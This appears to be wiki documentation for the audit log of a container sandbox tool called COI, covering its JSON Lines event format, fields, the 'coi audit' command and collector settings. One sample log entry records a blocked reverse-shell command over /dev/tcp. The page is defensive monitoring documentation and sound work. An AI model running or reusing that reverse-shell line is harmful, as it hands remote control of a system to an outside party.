-
Notifications
You must be signed in to change notification settings - Fork 43
Audit Log
COI records security events to a structured, host-side audit log (JSON Lines), and exposes them live with the coi audit command. The log is the forensic record of what the security monitor saw during a session — it lives on the host, persists after the container is gone, and is queryable with standard tools (jq, grep).
For the detection engine that produces these events (threat levels, automated pause/kill, nftables monitoring), see Security Monitoring.
All security events are logged to ~/.coi/audit/<container-name>.jsonl:
{"timestamp":"2026-02-18T10:23:45Z","container":"coi-abc123-1","type":"process","threat":"reverse_shell","command":"bash -i >& /dev/tcp/10.0.0.1/4444 0>&1","severity":"critical","action":"killed"}
{"timestamp":"2026-02-18T10:24:01Z","container":"coi-abc123-1","type":"filesystem","threat":"large_write","bytes":104857600,"severity":"high","action":"paused"}
{"timestamp":"2026-02-18T10:25:30Z","container":"coi-abc123-1","type":"network","threat":"private_network","dest":"192.168.1.100:22","severity":"warning","action":"logged"}Network events from nftables are logged separately to ~/.coi/audit/<container-name>-nft.jsonl.
Every JSONL event contains these common fields:
| Field | Type | Description |
|---|---|---|
timestamp |
string | ISO 8601 UTC timestamp of the event |
container |
string | Container name (e.g., coi-abc123-1) |
type |
string | Event category: process, filesystem, or network
|
threat |
string | Threat identifier (see the tables in Security Monitoring for values) |
severity |
string |
info, warning, high, or critical
|
action |
string | Response taken: logged, alerted, paused, or killed
|
Type-specific fields:
| Field | Present when | Description |
|---|---|---|
command |
type = "process" |
Full command string of the suspicious process |
pid |
type = "process" |
Process ID |
bytes |
type = "filesystem" |
Bytes read or written that triggered the threshold |
path |
type = "filesystem" |
File path involved (when available) |
dest |
type = "network" |
Destination address and port (e.g., 192.168.1.100:22) |
proto |
type = "network" |
Protocol: tcp or udp
|
NFT network events (written to <container-name>-nft.jsonl) additionally include:
| Field | Description |
|---|---|
src |
Source IP:port inside the container |
rule |
The nftables rule that matched |
iif |
Inbound interface |
oif |
Outbound interface |
View audit logs:
# Real-time monitoring dashboard (auto-detects container from current workspace)
coi monitor
# Or specify a container explicitly
coi monitor coi-abc123-1
# Specify workspace path for auto-detection
coi monitor --workspace /path/to/project
# Review historical events
cat ~/.coi/audit/coi-abc123-1.jsonl
# Filter by severity
cat ~/.coi/audit/coi-abc123-1.jsonl | grep '"level":"high"'
cat ~/.coi/audit/coi-abc123-1.jsonl | grep '"level":"critical"'coi audit exposes the audit stream as JSON Lines on stdout, ready to pipe into a SIEM, jq, or a flat file.
# Dump the host-side audit log for the container in the current workspace
coi audit
# Dump the host-side audit log for a specific container
coi audit coi-abc123-1
# Stream live events from the running container (in-container collector)
coi audit coi-abc123-1 --follow
# Re-stream a saved recording from a custom path
coi audit --file ./session.jsonlDump mode (default, no --follow): reads ~/.coi/audit/<container>.jsonl written by the security monitoring daemon and prints it to stdout. Use this to review historical events after a session ends.
Follow mode (--follow): pushes a small POSIX-sh collector into the running container via incus exec and streams live events as they happen. No daemon is installed — the collector exits when coi audit is interrupted. Requires the container to be running.
All events are JSON Lines (one object per line). The type field identifies the event source:
type |
Source | Key fields |
|---|---|---|
exec |
ps diff every 2 s |
pid, ppid, comm, args
|
net |
ss -tunp diff every 5 s |
proto, state, local, peer, pid, comm
|
file |
auditd PATH records |
path, op, pid, comm
|
audit |
auditd / syslog / auth.log |
msg, raw
|
heartbeat |
Emitted every 10 s |
seq, sources
|
Every event also carries:
| Field | Description |
|---|---|
ts |
ISO 8601 UTC timestamp with millisecond precision |
sessionId |
Container name (set by the host-side collector) |
container |
Container name |
Fields are sparse-populated with omitempty — only relevant fields appear for each event type.
Example output:
{"ts":"2026-05-05T14:30:11.123Z","sessionId":"coi-abc123-1","container":"coi-abc123-1","type":"exec","pid":1234,"ppid":1,"comm":"curl","args":"curl https://example.com"}
{"ts":"2026-05-05T14:30:12.005Z","sessionId":"coi-abc123-1","container":"coi-abc123-1","type":"net","proto":"tcp","state":"ESTAB","local":"10.47.62.5:54321","peer":"93.184.216.34:443","comm":"curl"}
{"ts":"2026-05-05T14:30:20.000Z","sessionId":"coi-abc123-1","container":"coi-abc123-1","type":"heartbeat","seq":1,"sources":"ss ps"}When --follow is active, the in-container collector tries sources in order:
-
auditd — tails
/var/log/audit/audit.logif auditd is running;PATHrecords →type=file,EXECVE/SYSCALLrecords →type=audit -
syslog / auth.log — fallback when auditd is absent; all lines become
type=auditevents -
sssnapshots —ss -tunpevery 5 s; only new connections (diff against previous snapshot) becometype=netevents -
pssnapshots —psevery 2 s; only new PIDs (diff) becometype=execevents -
heartbeat — a
type=heartbeatevent every 10 s so the host can detect if the agent dies
The sources field of each heartbeat lists which sources are active (e.g. "ss ps" when auditd is absent).
The host-side watcher monitors agent liveness:
- Stale threshold: 35 s (≈3 missed heartbeats + 5 s grace)
- When stale: a warning is printed to stderr and a synthetic
type=audit msg=agent.staleevent is injected into the stream so downstream consumers see it - When recovered: an
msg=agent.aliveevent is emitted
[audit] WARNING agent silent on coi-abc123-1 for 36s (last heartbeat 2026-05-05T12:34:46Z)
[audit] agent recovered on coi-abc123-1 after 36s of silence
# Show only network connections
coi audit coi-abc123-1 --follow | jq -c 'select(.type=="net")'
# Show only new processes
coi audit coi-abc123-1 --follow | jq -c 'select(.type=="exec")'
# Save a full session recording
coi audit coi-abc123-1 --follow > ~/recordings/session-$(date +%Y%m%d).jsonl
# Replay a saved recording
coi audit --file ~/recordings/session-20260505.jsonl | jq '.type' | sort | uniq -c
# Count events by type from a live session
coi audit coi-abc123-1 --follow | jq -r '.type' | sort | uniq -cThe collector intervals can be adjusted via environment variables before launching coi audit:
| Variable | Default | Effect |
|---|---|---|
COI_AUDIT_NET_INTERVAL |
5 |
Seconds between ss snapshots |
COI_AUDIT_PROC_INTERVAL |
2 |
Seconds between ps snapshots |
COI_AUDIT_HEARTBEAT_INTERVAL |
10 |
Seconds between heartbeat events |
# Higher-resolution process tracking (1 s intervals)
COI_AUDIT_PROC_INTERVAL=1 coi audit coi-abc123-1 --followThe in-container collector has negligible overhead: ~4.5 MB RSS and ~0.0% CPU when idle. No eBPF, no daemon install, no new Go dependencies. The collector only runs while coi audit --follow is active and terminates immediately on Ctrl+C.
- Security Monitoring — the detection engine that produces these events (threat levels, automated response, nftables monitoring)
-
Session Logs — COI's own operational logs (
coi logs), distinct from security audit events - Architecture and Security Model — where audit logging fits in the defense layers
Getting Started
Setup
Configuration & Usage
- Best Practices
- Configuration
- Profiles
- Supported Tools
- Container Lifecycle & Sessions
- Container Operations
- Snapshot Management
- File Transfer
- Tmux Automation
- Image Management
- Resource & Time Limits
Security
Maintenance
Help & Reference